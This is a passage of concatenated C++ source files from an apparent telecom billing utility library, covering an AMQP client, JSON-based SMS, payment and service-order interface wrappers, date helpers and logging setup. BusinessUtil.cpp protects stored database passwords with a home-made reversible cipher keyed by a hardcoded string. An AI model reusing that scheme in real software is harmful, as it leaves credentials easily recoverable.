1, &readSet, &wirteSet, NULL, &tv); if( err == EINTR) { continue; } else if (err < 0) { fprintf(stderr , "select error.\n"); continue; } else if (err == 0) { fprintf(stderr , "select timeout.\n"); continue; } int flags = 0; for(auto it : m_fdMap) { flags = 0; if(FD_ISSET(it.first,&readSet)) { flags |= AMQP::readable; } if(FD_ISSET(it.first,&wirteSet)) { flags |= AMQP::writable; } m_connection->process(it.first , flags); } } } std::string AmqpClient::BuildAddress(std::string user , std::string pwd, std::string host , short port , std::string vhost) { std::stringstream ss; ss<<"amqp://"<<user<<":"<<pwd<<"@"<<host<<":"<<port<<"/"<<vhost; return ss.str(); } std::shared_ptr<AMQP::TcpChannel> AmqpClient::CreateChannel() { return std::make_shared<AMQP::TcpChannel>(m_connection); } } <file_sep>/example/AmqpClient/MyTcpHandler.h /* * MyTcpHandler.h * * Created on: 2018年3月9日 * Author: cplusplus */ #ifndef MYTCPHANDLER_H_ #define MYTCPHANDLER_H_ #include <AmqpClient.h> #include <iostream> class MyTcpHandler : public BusinessUtil::ITcpHandler { public: MyTcpHandler(BusinessUtil::AmqpClient *amqpClient):ITcpHandler(amqpClient){} /** * Method that is called by the AMQP library when the login attempt * succeeded. After this method has been called, the connection is ready * to use. * @param connection The connection that can now be used */ virtual void onConnected(AMQP::TcpConnection *connection) { // @todo // add your own implementation, for example by creating a channel // instance, and start publishing or consuming // and create a channel } /** * Method that is called by the AMQP library when a fatal error occurs * on the connection, for example because data received from RabbitMQ * could not be recognized. * @param connection The connection on which the error occured * @param message A human readable error message */ virtual void onError(AMQP::TcpConnection *connection, const char *message) { BusinessUtil::ITcpHandler::onError(connection , message); fprintf(stderr , "tcp handler error: %s \n" , message); } }; #endif /* MYTCPHANDLER_H_ */ <file_sep>/include/PubDefine.h /* * soAppDefine.h * * Created on: 2015年11月27日 * Author: clzdl */ #ifndef SOAPPDEFINE_H_ #define SOAPPDEFINE_H_ ////c #include <stdio.h> #include <stdlib.h> /* for atoi(3) */ #include <unistd.h> /* for getopt(3) */ #include <getopt.h> #include <signal.h> #include <string.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/uio.h> #include <sys/types.h> #include <errno.h> #include <regex.h> ///正则 #include <sys/socket.h> #include <dirent.h> #include <pwd.h> #include <iconv.h> ////字符编码转换 #include <assert.h> ////// c++ #include <iostream> #include <fstream> #include <string> #include <vector> #include <list> #include <map> #include <set> #include <stack> #include <unordered_map> #include <unordered_set> #include <algorithm> // std::copy #include <math.h> #include <memory> ///poco #include "Poco/Util/IniFileConfiguration.h" #include "Poco/Util/Application.h" #include "Poco/Util/Option.h" #include "Poco/Util/OptionSet.h" #include "Poco/Util/HelpFormatter.h" #include "Poco/Util/AbstractConfiguration.h" #include "Poco/Util/PropertyFileConfiguration.h" #include "Poco/Util/LoggingConfigurator.h" #include "Poco/AutoPtr.h" #include "Poco/Logger.h" #include "Poco/PatternFormatter.h" #include "Poco/FormattingChannel.h" #include "Poco/FileChannel.h" #include "Poco/Message.h" #include "Poco/DateTime.h" #include "Poco/LocalDateTime.h" #include "Poco/Timespan.h" #include "Poco/DateTimeFormat.h" #include "Poco/NumberFormatter.h" #include "Poco/Foundation.h" #include "Poco/Thread.h" #include "Poco/ThreadPool.h" #include "Poco/Runnable.h" #include "Poco/ThreadTarget.h" #include "Poco/Mutex.h" #include "Poco/Event.h" #include "Poco/Net/NetException.h" #include "Poco/Net/HTTPRequest.h" #include "Poco/Net/HTTPResponse.h" #include "Poco/Net/HTTPClientSession.h" #include "Poco/Net/HTTPServer.h" #include "Poco/Net/HTTPServerParams.h" #include "Poco/Net/AbstractHTTPRequestHandler.h" #include "Poco/Net/HTTPRequestHandlerFactory.h" #include "Poco/Net/HTTPRequest.h" #include "Poco/Net/HTTPServerRequest.h" #include "Poco/Net/HTTPResponse.h" #include "Poco/Net/HTTPServerResponse.h" #include "Poco/Net/ServerSocket.h" #include "Poco/StreamCopier.h" #include "Poco/Net/FTPClientSession.h" #include "Poco/Net/NetException.h" #include "Poco/Net/StreamSocket.h" #include "Poco/Exception.h" /////////// #include "Poco/DirectoryIterator.h" #include "Poco/Path.h" #include "Poco/SharedLibrary.h" #include "Poco/HashMap.h" enum class RunStatus{ stop = 0, //停止运行状态 run = 1, //正常运行 reload = 2 //重新加载参数 }; #endif /* SOAPPDEFINE_H_ */ <file_sep>/include/SdpInvoke/InvokeSendMsg.h /* * soInvokeSendMsg.h * * Created on: 2015年6月17日 * Author: chengl */ #ifndef SOINVOKESENDMSG_H_ #define SOINVOKESENDMSG_H_ /*短信发送接口-sdp * */ #include <SdpInvoke/InvokeBase.h> namespace BusinessUtil { class InvokeSendMsg:public InvokeBase { public: InvokeSendMsg(HTTPClientSession *pHttpSession , std::string strService); ~InvokeSendMsg(); void SetProvinceCode(std::string code); void SetRegionCode(std::string code); void SetCityCode(std::string code); void SetSerialNumber(std::string no); void SetSmsContent(std::string content); private: int MakePackage(); int ParsePackage(); std::string m_strProvinceCode; std::string m_strRegionCode; std::string m_strCityCode; std::string m_strSerialNumber; std::string m_strSmsContent; }; } #endif /* SOINVOKESENDMSG_H_ */ <file_sep>/include/SdpInvoke/InvokeBase.h /* * soInvokeBase.h * * Created on: 2015年6月16日 * Author: chengl */ #ifndef SOINVOKEBASE_H_ #define SOINVOKEBASE_H_ #include <SdpInvoke/ISIdefine.h> namespace BusinessUtil { class InvokeBase { public: InvokeBase(HTTPClientSession *pHttpSession , std::string strService); virtual ~InvokeBase(); virtual int SendPackage(); virtual int ReceivePackage(); std::string GetErrInfo(); std::string GetSendInfo(); std::string GetReceiveInfo(); protected: virtual int MakePackage() = 0; virtual int ParsePackage() = 0; HTTPClientSession *m_pHttpSession; std::string m_strService; std::string m_strErrInfo;////错误信息 std::string m_strSendInfo; ////发送的报文 std::string m_strReceiveInfo; ///接受到的保温 }; } #endif /* SOINVOKEBASE_H_ */ <file_sep>/src/SdpInvoke/InvokeOnwaySheet.cpp /* * soInvokeOnwaySheet.cpp * * Created on: 2015年6月17日 * Author: chengl */ #include <SdpInvoke/InvokeOnwaySheet.h> #include "JsonUtil.h" namespace BusinessUtil { InvokeOnwaySheet::InvokeOnwaySheet(HTTPClientSession *pHttpSession , std::string strService) :InvokeBase(pHttpSession,strService) { } InvokeOnwaySheet::~InvokeOnwaySheet() { } int InvokeOnwaySheet::MakePackage() { NodeRoot nr; NodeOnWaySheet nows; int iRetCode = SUCCESS; cJSON *root = NULL; nr.SetOperCode("QryAllUserInfo"); nr.SetStaffID("XK001"); nr.SetDepartID("XK"); nr.SetProvinceCode(m_strProvinceCode); nr.SetRegionCode(m_strRegionCode); nr.SetCityCode(m_strCityCode.empty()?"ZZZZ":m_strCityCode); nr.SetRouteProvinceCode(m_strProvinceCode); nr.SetRouteRegionCode(m_strRegionCode); nr.SetRouteCityCode(m_strCityCode.empty()?"ZZZZ":m_strCityCode); nr.SetInNetMode("X"); nows.SetSerialNumber(m_strSerialNumber); ////如果是150 则只判断停开机这一类的在途工单 nows.SetTradeTypeCode(m_strTradeTypeCode); do { root = NodeRoot::JsonCreateRoot(nr); if(NULL == root) { m_strErrInfo = "JsonCreateRoot failed."; iRetCode = FAIL; break; } if(FAIL == NodeOnWaySheet::JsonAddOnWaySheetNode(root , nows) ) { m_strErrInfo = "JsonAddOnWaySheetNode failed."; iRetCode = FAIL; break; } m_strSendInfo.clear(); if( (m_strSendInfo = CommonUtils::JsonUtil::JsonToString(root) ).empty()) { m_strErrInfo = "JsonString is empty."; iRetCode = FAIL; break; } }while(false); if(root) CommonUtils::JsonUtil::JsonDelete(root); return iRetCode; } int InvokeOnwaySheet::ParsePackage() { RespNodeOnWaySheeNode resp; if(FAIL == RespNodeOnWaySheeNode::JsonParseOnWaySheetNode(m_strReceiveInfo , resp)) { m_strErrInfo = "JsonParseOnWaySheetNode fail. "; return FAIL; } m_vecOnwaySheet.clear(); ////20150914 if(resp.GetRespCode().compare(1,4,"0000") != SUCCESS) { m_strErrInfo = "在途工单接口返回失败. desc: " + resp.GetRespUtf8Desc(); return FAIL; } m_vecOnwaySheet.insert(m_vecOnwaySheet.begin(), resp.GetOnWaySheet().begin() , resp.GetOnWaySheet().end()); return SUCCESS; } void InvokeOnwaySheet::SetProvinceCode(std::string code) { m_strProvinceCode = code; } void InvokeOnwaySheet::SetRegionCode(std::string code) { m_strRegionCode = code; } void InvokeOnwaySheet::SetCityCode(std::string code) { m_strCityCode = code; } void InvokeOnwaySheet::SetSerialNumber(std::string no) { m_strSerialNumber = no; } void InvokeOnwaySheet::SetTradeTypeCode(std::string code) { m_strTradeTypeCode = code; } std::vector<_ON_WAY_SHEET>& InvokeOnwaySheet::GetOnwaySheet() { return m_vecOnwaySheet; } } <file_sep>/include/SdpInvoke/InvokeTrade.h /* * soInvokeTrade.h * * Created on: 2015年6月17日 * Author: chengl */ #ifndef SOINVOKETRADE_H_ #define SOINVOKETRADE_H_ /* 停开机指令接口 * */ #include <SdpInvoke/InvokeBase.h> #include "JsonReqNode.h" #include "JsonRespNode.h" namespace BusinessUtil { class InvokeTrade:public InvokeBase { public: InvokeTrade(HTTPClientSession *pHttpSession , std::string strService); ~InvokeTrade(); void SetProvinceCode(std::string code); void SetRegionCode(std::string code); void SetCityCode(std::string code); void SetTradeId(std::string id); void SetCmdCode(std::string code); void SetBrandCode(std::string code); void SetUserID(long id); void SetAcctID(long id); void SetCustID(long id); void SetCustName(std::string name); void SetNetTypeCode(std::string code); void SetSerialNumber(std::string no); void SetProviderCode(std::string code); void SetAcceptProvinceCode(std::string code); void SetAcceptRegionCode(std::string code); void SetAcceptCityCode(std::string code); ///20160427 void SetRemark(std::string v); void AddTradeItem(std::string strAttrCode , std::string strAttrValue); private: int MakePackage(); int ParsePackage(); std::string m_strProvinceCode; std::string m_strRegionCode; std::string m_strCityCode; std::string m_strTradeId; std::string m_strCmdCode; std::string m_strBrandCode; long m_lUserID; long m_lAcctID; long m_lCustID; std::string m_strCustName; std::string m_strNetTypeCode; std::string m_strSerialNumber; std::string m_strProviderCode; std::string m_strAcceptProvinceCode; ///20160310 std::string m_strAcceptRegionCode; ///20160310 std::string m_strAcceptCityCode; ///20160310 ///20160427 std::string m_strRemark; std::vector<CTradeItem> m_vecTradeItem; NodeRoot m_nrRoot; NodeTrade m_ntTrade; }; } #endif /* SOINVOKETRADE_H_ */ <file_sep>/include/SdpInvoke/InvokePayment.h /* * soInvokePayment.h * * Created on: 2015年6月16日 * Author: chengl */ #ifndef SOINVOKEPAYMENT_H_ #define SOINVOKEPAYMENT_H_ /* 缴费接口 * */ #include <SdpInvoke/InvokeBase.h> namespace BusinessUtil { class InvokePayment:public InvokeBase { public: InvokePayment(HTTPClientSession *pHttpSession , std::string strService); ~InvokePayment(); void SetProvinceCode(std::string code); void SetRegionCode(std::string code); void SetCityCode(std::string code); void SetUserID(long id); void SetSerialNumber(std::string no); void SetRecvFee(long fee); void SetActivityID(long id); void SetPaymentID(std::string id); void SetPayfeeModeCode(std::string code); void SetTradeTypeCode(std::string code); std::string GetChargeID(); private: int MakePackage(); int ParsePackage(); std::string m_strProvinceCode; std::string m_strRegionCode; std::string m_strCityCode; long m_lUserID; std::string m_strSerialNumber; long m_lRecvFee; ///缴费金额 long m_lActivityID; std::string m_strPaymentID; std::string m_strPayfeeModeCode; std::string m_strTradeTypeCode; std::string m_strChargeID; ///返回的充值流水 }; } #endif /* SOINVOKEPAYMENT_H_ */ <file_sep>/include/BusinessUtil.h #ifndef _PUBLIC_FUN_LIB_H_ #define _PUBLIC_FUN_LIB_H_ #include <PubDefine.h> #include "openssl/md5.h" #include "PatternMatcher.h" #include "StringUtil.h" /// macro definition file #include "MacroDefine.h" namespace BusinessUtil { class BusiUtil { public: /*@action:用于获取数据的用户的解密后的密码 *@param: * encryptFile--入参,密码加密文件 * sUser--入参,用户名 * sSid--入参,tns名 *@return:解密后的密码 */ static std::string GetDBPass(const std::string &encryptFile,const std::string& sUser, const std::string& sSid); /*@action:用于加密数据库的密码 *@param: * sPass--入参,密码 *@return:加密后字符串 */ static const std::string Encrypt(const std::string &sPass); /*@action:用于解密数据库的密码 *@param: * sCipher--入参,加密的密码 *@return:解密后字符串 */ static const std::string Decrypt(const std::string &sCipher); /*@action :判断某账期是否逾期 20150805 *@param * cycle_id--入参,账期 * strChargePeriod--入参,缴费周期 start#end#interval *Return :true 逾期 false 未逾期 */ static bool isOverdue( int cycle_id , std::string strChargePeriod); /*@action :用于获取逾期日期 20150805 *@param: * cycle_id--入参,账期 * strChargePeriod--入参,缴费周期 start#end#interval *Return : >0 逾期日期, -1-fail */ static int CalcOverdueDate(int cycle_id , std::string strChargePeriod); /*@action: 用于计算日期间隔,iFlag= 1:日间隔 2:月间隔, *@param: * strBegDate--入参, 开始日期 * strEndDate--入参, 结束日期 * iFlag--入参,日期类型 * iSpan--出参, 日期间隔数 *@return: 0-success,-1-fail */ static int DateSpan(std::string strBegDate , std::string strEndDate , int iFlag , int &iSpan); /*@action:用于初始化日志logger, *@param: * strLoggerName--入参,logger名称 * strFmt--入参,日志记录格式 * strLogFile--入参,日志路径 * pTag--入参,日志级别: T=TRACE,D=DEBUG,I=INFORMATION,N=NOTICE,W=WARNING,E=ERROR,C=CRITICAL,F=FATAL *@return:logger的引用 */ static Poco::Logger &InitLogger(const std::string &strLoggerName,const std::string &strFmt ,const std::string &strLogFile , const char *pTag , std::string strRotationTime = "00:00"); }; } #endif <file_sep>/src/SdpInvoke/InvokeSendMsg.cpp /* * soInvokeSendMsg.cpp * * Created on: 2015年6月17日 * Author: chengl */ #include <SdpInvoke/InvokeSendMsg.h> #include "JsonUtil.h" #include "SdpInvoke/JsonReqNode.h" #include "SdpInvoke/JsonRespNode.h" namespace BusinessUtil { InvokeSendMsg::InvokeSendMsg(HTTPClientSession *pHttpSession , std::string strService) :InvokeBase(pHttpSession,strService) { } InvokeSendMsg::~InvokeSendMsg() { } void InvokeSendMsg::SetProvinceCode(std::string code) { m_strProvinceCode = code; } void InvokeSendMsg::SetRegionCode(std::string code) { m_strRegionCode = code; } void InvokeSendMsg::SetCityCode(std::string code) { m_strCityCode = code; } void InvokeSendMsg::SetSerialNumber(std::string no) { m_strSerialNumber = no; } void InvokeSendMsg::SetSmsContent(std::string content) { m_strSmsContent = content; } int InvokeSendMsg::MakePackage() { NodeRoot nr; NodeSendMsg nsm; cJSON *root = NULL; int iRetCode = SUCCESS; nr.SetOperCode("sendMsg"); nr.SetStaffID("XK001"); nr.SetDepartID("XK"); nr.SetProvinceCode( m_strProvinceCode ); nr.SetRegionCode( m_strRegionCode ); nr.SetCityCode( m_strCityCode.empty()?"ZZZZ":m_strCityCode ); nr.SetRouteProvinceCode( m_strProvinceCode ); nr.SetRouteRegionCode( m_strRegionCode ); nr.SetRouteCityCode( m_strCityCode.empty()?"ZZZZ":m_strCityCode ); nr.SetInNetMode("X"); nsm.SetPhoneNum(m_strSerialNumber ); nsm.SetMsg( m_strSmsContent ); do { //创建root节点 root = NodeRoot::JsonCreateRoot(nr); if(NULL == root) { m_strErrInfo = "JsonCreateRoot failed."; iRetCode = FAIL; break; } //添加消息节点 if(SUCCESS != NodeSendMsg::JsonAddSendMsgNode(root , nsm) ) { m_strErrInfo = "JsonAddSendMsgNode failed."; iRetCode = FAIL; break; } //编码格式转换,转为utf-8,strPkg最终包,JsonToUtf8String() if( (m_strSendInfo = CommonUtils::JsonUtil::JsonToString(root) ).empty()) { m_strErrInfo = "JsonToString empty."; iRetCode = FAIL; break; } }while(false); if(root) CommonUtils::JsonUtil::JsonDelete(root); return iRetCode; } int InvokeSendMsg::ParsePackage() { ////解析返回指令的返回码 RespNodeRoot rnr; if(SUCCESS != RespNodeRoot::JsonParseRespRootNode(m_strReceiveInfo , rnr)) { m_strErrInfo = "JsonToString empty."; return FAIL; } if(0 != rnr.GetRespCode().compare(1,4,"0000")) { m_strErrInfo = "短信接口返回失败. desc: " + rnr.GetRespUtf8Desc(); return FAIL; } return SUCCESS; } } <file_sep>/src/SdpInvoke/InvokeTrade.cpp /* * soInvokeTrade.cpp * * Created on: 2015年6月17日 * Author: chengl */ #include <SdpInvoke/InvokeTrade.h> #include "NumberUtil.h" #include "JsonUtil.h" namespace BusinessUtil { InvokeTrade::InvokeTrade(HTTPClientSession *pHttpSession , std::string strService) :InvokeBase(pHttpSession,strService), m_lUserID(0), m_lAcctID(0), m_lCustID(0) { } InvokeTrade::~InvokeTrade() { } void InvokeTrade::SetProvinceCode(std::string code) { m_strProvinceCode = code; } void InvokeTrade::SetRegionCode(std::string code) { m_strRegionCode = code; } void InvokeTrade::SetCityCode(std::string code) { m_strCityCode = code; } void InvokeTrade::SetTradeId(std::string id) { m_strTradeId = id; } void InvokeTrade::SetCmdCode(std::string code) { m_strCmdCode = code; } void InvokeTrade::SetBrandCode(std::string code) { m_strBrandCode = code; } void InvokeTrade::SetUserID(long id) { m_lUserID = id; } void InvokeTrade::SetAcctID(long id) { m_lAcctID = id; } void InvokeTrade::SetCustID(long id) { m_lCustID = id; } void InvokeTrade::SetCustName(std::string name) { m_strCustName = name; } void InvokeTrade::SetNetTypeCode(std::string code) { m_strNetTypeCode = code; } void InvokeTrade::SetSerialNumber(std::string no) { m_strSerialNumber = no; } void InvokeTrade::SetProviderCode(std::string code) { m_strProviderCode = code; } void InvokeTrade::SetAcceptProvinceCode(std::string code) { m_strAcceptProvinceCode = code; } void InvokeTrade::SetAcceptRegionCode(std::string code) { m_strAcceptRegionCode = code; } void InvokeTrade::SetAcceptCityCode(std::string code) { m_strAcceptCityCode = code; } void InvokeTrade::SetRemark(std::string v) { m_strRemark = v; } int InvokeTrade::MakePackage() { LocalDateTime ldt; cJSON *root = NULL; int iRetCode = SUCCESS; m_nrRoot.SetOperCode("submitTradeInfo"); m_nrRoot.SetStaffID("XK001"); m_nrRoot.SetDepartID("XK"); m_nrRoot.SetProvinceCode(m_strProvinceCode); m_nrRoot.SetRegionCode(m_strRegionCode); m_nrRoot.SetCityCode(m_strCityCode.empty()?"ZZZZ":m_strCityCode); m_nrRoot.SetRouteProvinceCode(m_strProvinceCode); m_nrRoot.SetRouteRegionCode(m_strRegionCode); m_nrRoot.SetRouteCityCode(m_strCityCode.empty()?"ZZZZ":m_strCityCode); m_nrRoot.SetInNetMode("X"); m_ntTrade.SetSubscribeID(m_strTradeId); m_ntTrade.SetTradeID(m_strTradeId); m_ntTrade.SetTradeTypeCode(m_strCmdCode); m_ntTrade.SetInModeCode("X"); m_ntTrade.SetSubscribeState("0"); m_ntTrade.SetBrandCode(m_strBrandCode); m_ntTrade.SetUserID(CommonUtils::NumberUtil::Number2String(m_lUserID)); m_ntTrade.SetAcctID(CommonUtils::NumberUtil::Number2String(m_lAcctID)); m_ntTrade.SetCustID(CommonUtils::NumberUtil::Number2String(m_lCustID)); m_ntTrade.SetCustName(m_strCustName); m_ntTrade.SetNetTypeCode(m_strNetTypeCode); m_ntTrade.SetSerialNumber(m_strSerialNumber); m_ntTrade.SetAcceptStaffID("XK001"); m_ntTrade.SetAcceptDepartID("XK"); m_ntTrade.SetAcceptDate(CommonUtils::NumberUtil::Number2String(ldt.year()) + "-" + CommonUtils::NumberUtil::Number2String(ldt.month()) + "-" + CommonUtils::NumberUtil::Number2String(ldt.day()) + " " + CommonUtils::NumberUtil::Number2String(ldt.hour()) + ":" + CommonUtils::NumberUtil::Number2String(ldt.minute()) + ":" + CommonUtils::NumberUtil::Number2String(ldt.second())); m_ntTrade.SetOrderType("0"); ///20150601 m_ntTrade.SetAcceptProvinceCode(m_strAcceptProvinceCode); m_ntTrade.SetAcceptRegionCode(m_strAcceptRegionCode); m_ntTrade.SetAcceptCityCode(m_strAcceptCityCode); m_ntTrade.SetHaseFee("0"); m_ntTrade.SetFeeNum("0"); m_ntTrade.SetProviderCode(m_strProviderCode); ////2015-04-30 m_ntTrade.SetProvinceCode(m_strProvinceCode); m_ntTrade.SetRegionCode(m_strRegionCode); m_ntTrade.SetCityCode(m_strCityCode.empty()?"ZZZZ":m_strCityCode); m_ntTrade.SetRemark(m_strRemark); do { root = NodeRoot::JsonCreateRoot(m_nrRoot); if(NULL == root) { m_strErrInfo = "JsonCreateRoot failed."; iRetCode = FAIL; break; } if(FAIL == NodeTrade::JsonAddTradeNode(root , m_ntTrade) ) { m_strErrInfo = "JsonAddTradeNode failed."; iRetCode = FAIL; break; } if( (m_strSendInfo = CommonUtils::JsonUtil::JsonToString(root) ).empty()) { m_strErrInfo = "JsonToString empty."; iRetCode = FAIL; break; } }while(false); if(root) CommonUtils::JsonUtil::JsonDelete(root); return iRetCode; } int InvokeTrade::ParsePackage() { RespNodeRoot rnr; if(FAIL == RespNodeRoot::JsonParseRespRootNode(m_strReceiveInfo , rnr)) { m_strErrInfo = "JsonParseRespRootNode fail."; return FAIL; } ////根据返回码跟新数据数据 if(rnr.GetRespCode().compare(1,4, "0000") != 0) { m_strErrInfo = "停开机接口返回失败. desc: " + rnr.GetRespUtf8Desc(); return FAIL; } return SUCCESS; } ///20160427 void InvokeTrade::AddTradeItem(std::string strAttrCode , std::string strAttrValue) { CTradeItem ti; ti.SetAttrCode(strAttrCode); ti.SetAttrValue(strAttrValue); m_ntTrade.AddTradeItem(ti); } } <file_sep>/src/BusinessUtil.cpp #include <BusinessUtil.h> #include <HashUtil.h> #include "Poco/LocalDateTime.h" #include "BusiExceptions.h" using Poco::LocalDateTime; ////数据库密码文件加解密密钥 static const std::string m_sKey = "`<KEY>"; namespace BusinessUtil { std::string BusiUtil::GetDBPass(const std::string &encryptFile,const std::string& sUser, const std::string& sSid) { char szUser[64]={0}; char szPass[14]={0}; char szDBNames[128]={0}; std::ifstream l_ifstream(encryptFile.c_str()); if (l_ifstream.fail()) return ""; while (!l_ifstream.eof()) { l_ifstream.getline(szUser, sizeof(szUser), ':'); l_ifstream.getline(szPass, sizeof(szPass), ':'); l_ifstream.getline(szDBNames, sizeof(szDBNames)); if (!strcmp(szUser, sUser.c_str()) && !strcmp (szDBNames, sSid.c_str())) { l_ifstream.close(); return Decrypt(szPass); } } l_ifstream.close(); return ""; } const std::string BusiUtil::Encrypt(const std::string& sPass) { std::string l_sPass(sPass); char l_szCipher[13]; char l_cPassHign[12]; char l_cPassLow[12]; char l_ch; int i; int ki; if ((l_sPass.size() > 12) || (l_sPass.size() < 3)) return ""; if (l_sPass.find('~') != std::string::npos) return ""; if (l_sPass.size() < 12) l_sPass += "~"; srand(time(NULL)); for (i = l_sPass.size(); i < 12; ++i) l_sPass += static_cast<char>(rand()%78 + 48); if (l_sPass.size() < 12) { l_sPass.append(12 - l_sPass.size(), '~'); } //拆分高低位 for (i = 0; i < 12; i++) { if (l_sPass[i] > 126 || l_sPass[i] < 48) return ""; // invalid characters in passwd l_cPassHign[i] = (l_sPass[i] >> 4); l_cPassLow[i] = l_sPass[i] & 0x0f; } /** * 低位字节 0 <-> 11, 1 <-> 10, ... * 高位字节 0 <-> 6, 1 <-> 7, ... */ for(i = 0; i < 6; i++) { l_ch = l_cPassLow[i]; l_cPassLow[i] = l_cPassLow[11 - i]; l_cPassLow[11 - i] = l_ch; l_ch = l_cPassHign[i]; l_cPassHign[i] = l_cPassHign[6+i]; l_cPassHign[6+i] = l_ch; } /** * */ for (i = 0, ki = 0; i < 12; i++) { l_cPassHign[i] = ((l_cPassHign[i] - 3 + m_sKey[ki]) % 5) + 3; l_cPassLow[i] = l_cPassLow[i] ^ (m_sKey[ki] & 0x0f); l_szCipher[i] = (l_cPassHign[i] << 4) | l_cPassLow[i]; if (l_szCipher[i] == ':') l_szCipher[i] = '&'; if (l_szCipher[i] == 127) l_szCipher[i] = '+'; ki = ( ki == (m_sKey.size() - 1) )? 0 : ki+1; } l_szCipher[12] = 0; return std::string(l_szCipher); } const std::string BusiUtil::Decrypt(const std::string& sCipher) { std::string l_sCipher(sCipher); char l_szPass[13]={"0"}; char l_cPassHign[12]; char l_cPassLow[12]; char l_ch; int i; int ki; if (l_sCipher.size()!= 12) return ""; for (i = 0; i < 12; ++i) { if (l_sCipher[i] == '&') l_sCipher[i]=':'; if (l_sCipher[i] == '+') l_sCipher[i]=127; l_cPassHign[i] = ( l_sCipher[i] >> 4); l_cPassLow[i] = l_sCipher[i] & 0x0f; } /* swap 0 <-> 11, 1 <-> 10, ... */ for (i = 0, ki = 0; i < 12; ++i) { l_cPassHign[i] = (l_cPassHign[i] - 3 + 5 - (m_sKey[ki] % 5)) % 5 + 3; l_cPassLow[i] = l_cPassLow[i] ^ (m_sKey[ki] & 0x0f); ki = (ki == (m_sKey.size() - 1)) ? 0 : ki + 1; } /* swap 0 <-> 6, 1 <-> 7, ... */ for (i = 0; i < 6; ++i) { l_ch = l_cPassLow[i]; l_cPassLow[i] = l_cPassLow[11 - i]; l_cPassLow[11 - i] = l_ch; l_ch = l_cPassHign[i]; l_cPassHign[i] = l_cPassHign[6 + i]; l_cPassHign[6 + i] = l_ch; } for (i = 0; i < 12; ++i) { l_szPass[i] = (l_cPassHign[i] << 4) | l_cPassLow[i]; if (l_szPass[i] == '~') { l_szPass[i] = 0; break; } } return std::string(l_szPass); } bool BusiUtil::isOverdue( int cycle_id , std::string strChargePeriod) { int overdue_date = 0;//逾期日期 time_t tt = 0; struct tm cur; char strDate[8+1] = {0}; overdue_date = CalcOverdueDate(cycle_id , strChargePeriod); if(-1 == overdue_date) { std::cerr<<"CalcOverdueDate return fail."<<std::endl; return false; } tt = time( NULL ); localtime_r( &tt ,&cur); sprintf(strDate, "%4d%02d%02d", cur.tm_year + 1900, cur.tm_mon + 1, cur.tm_mday); //逾期日期<系统日期(YYYYMMDD),则为逾期欠费, if( atoi(strDate) > overdue_date ) return true; return false; } int BusiUtil::CalcOverdueDate(int cycle_id , std::string strChargePeriod) { std::vector<std::string> vecRes; int year = 0; int month = 0; int end_day = 0; int interval = 0; int overdue_date = 0;//逾期日期 CommonUtils::StringUtil::split(strChargePeriod , "#" , vecRes); if(vecRes.size() < 3) return -1; end_day = atoi(vecRes[1].c_str()); interval = atoi(vecRes[2].c_str()); //计算逾期日期规则:帐期+interval+1 year = cycle_id/100; month = cycle_id%100; month +=( 1 + interval ); if( month>12 ){ year = year + month/12 - (month%12==0?1:0); month = month%12 + (month%12==0?12:0); } overdue_date = year*10000 + month*100 + end_day; return overdue_date; } int BusiUtil::DateSpan(std::string strBegDate , std::string strEndDate , int iFlag , int &iSpan) { int iBegY= 0; int iBegM =0; int iBegD = 0; int iEndY = 0; int iEndM = 0; int iEndD = 0; _TRACE_MSG("src:%s,dst:%s \n" , strBegDate.c_str(),strEndDate.c_str()); switch(iFlag) { case 1: ///日 { if(strBegDate.length() < 8 || strEndDate.length() < 8) return -1; iBegY = atoi(strBegDate.substr(0,4).c_str()); /// iBegM = atoi(strBegDate.substr(4,2).c_str()); /// iBegD = atoi(strBegDate.substr(6,2).c_str()); iEndY = atoi(strEndDate.substr(0,4).c_str()); iEndM = atoi(strEndDate.substr(4,2).c_str()); /// iEndD = atoi(strEndDate.substr(6,2).c_str()); LocalDateTime ldtBeg(iBegY,iBegM,iBegD); LocalDateTime ldtEnd(iEndY,iEndM,iEndD); iSpan = (ldtEnd - ldtBeg).days(); break; } case 2: ///月间隔 { if(strBegDate.length() < 6 || strEndDate.length() < 6) return -1; iBegY = atoi(strBegDate.substr(0,4).c_str()); /// iBegM = atoi(strBegDate.substr(4,2).c_str()); /// iEndY = atoi(strEndDate.substr(0,4).c_str()); iEndM = atoi(strEndDate.substr(4,2).c_str()); /// _TRACE_MSG("begY=%d,begM=%d,endY=%d,endM=%d \n" , iBegY,iBegM , iEndY,iEndM); iSpan = (iEndY-iBegY) * 12 + (iEndM - iBegM) ; break; } case 3: ///年间隔 return -1; break; } return 0; } Poco::Logger& BusiUtil::InitLogger(const std::string &strLoggerName,const std::string &strFmt ,const std::string &strLogFile , const char *pTag , std::string strRotationTime) { Poco::FormattingChannel* pFCFile = NULL; int iPro = Poco::Message::PRIO_INFORMATION; try { Poco::PatternFormatter *pf = new Poco::PatternFormatter(strFmt); pf->setProperty("times" , "local"); pFCFile = new Poco::FormattingChannel(pf); Poco::FileChannel *fc = new Poco::FileChannel(strLogFile); ///设置时间属性为本地时间 fc->setProperty(Poco::FileChannel::PROP_TIMES, "local"); ////设置00:00进行文件切换 fc->setProperty(Poco::FileChannel::PROP_ROTATION, strRotationTime); ///设置文件2G进行切换 ,只能选择一种循环方式 //fc->setProperty(FileChannel::PROP_ROTATION, "2048 M"); fc->setProperty(Poco::FileChannel::PROP_ARCHIVE, "timestamp"); pFCFile->setChannel(fc); pFCFile->open(); switch(*pTag) { case 'T': /// A tracing message. This is the lowest priority. case 't': iPro = Poco::Message::PRIO_TRACE; break; case 'D': /// A debugging message case 'd': iPro = Poco::Message::PRIO_DEBUG; break; case 'I': /// An informational message, usually denoting the successful completion of an operation. case 'i': iPro = Poco::Message::PRIO_INFORMATION; break; case 'N': /// A notice, which is an information with just a higher priority. case 'n': iPro = Poco::Message::PRIO_NOTICE; break; case 'W': /// A warning. An operation completed with an unexpected result. case 'w': iPro = Poco::Message::PRIO_WARNING; break; case 'E': /// An error. An operation did not complete successfully, but the application as a whole is not affected. case 'e': iPro = Poco::Message::PRIO_ERROR; break; case 'C': /// A critical error. The application might not be able to continue running successfully. case 'c': iPro = Poco::Message::PRIO_CRITICAL; break; case 'F': /// A fatal error. The application will most likely terminate. This is the highest priority. case 'f': iPro = Poco::Message::PRIO_FATAL; break; } } catch(Poco::Exception &e) { _TRACE_MSG("initLogger exception: %s",e.displayText().c_str()); exit(0); } return Poco::Logger::create(strLoggerName, pFCFile, iPro); } } <file_sep>/include/SdpInvoke/InvokeQryFee.h /* * soInvokeQryFee.h * * Created on: 2015年6月17日 * Author: chengl */ 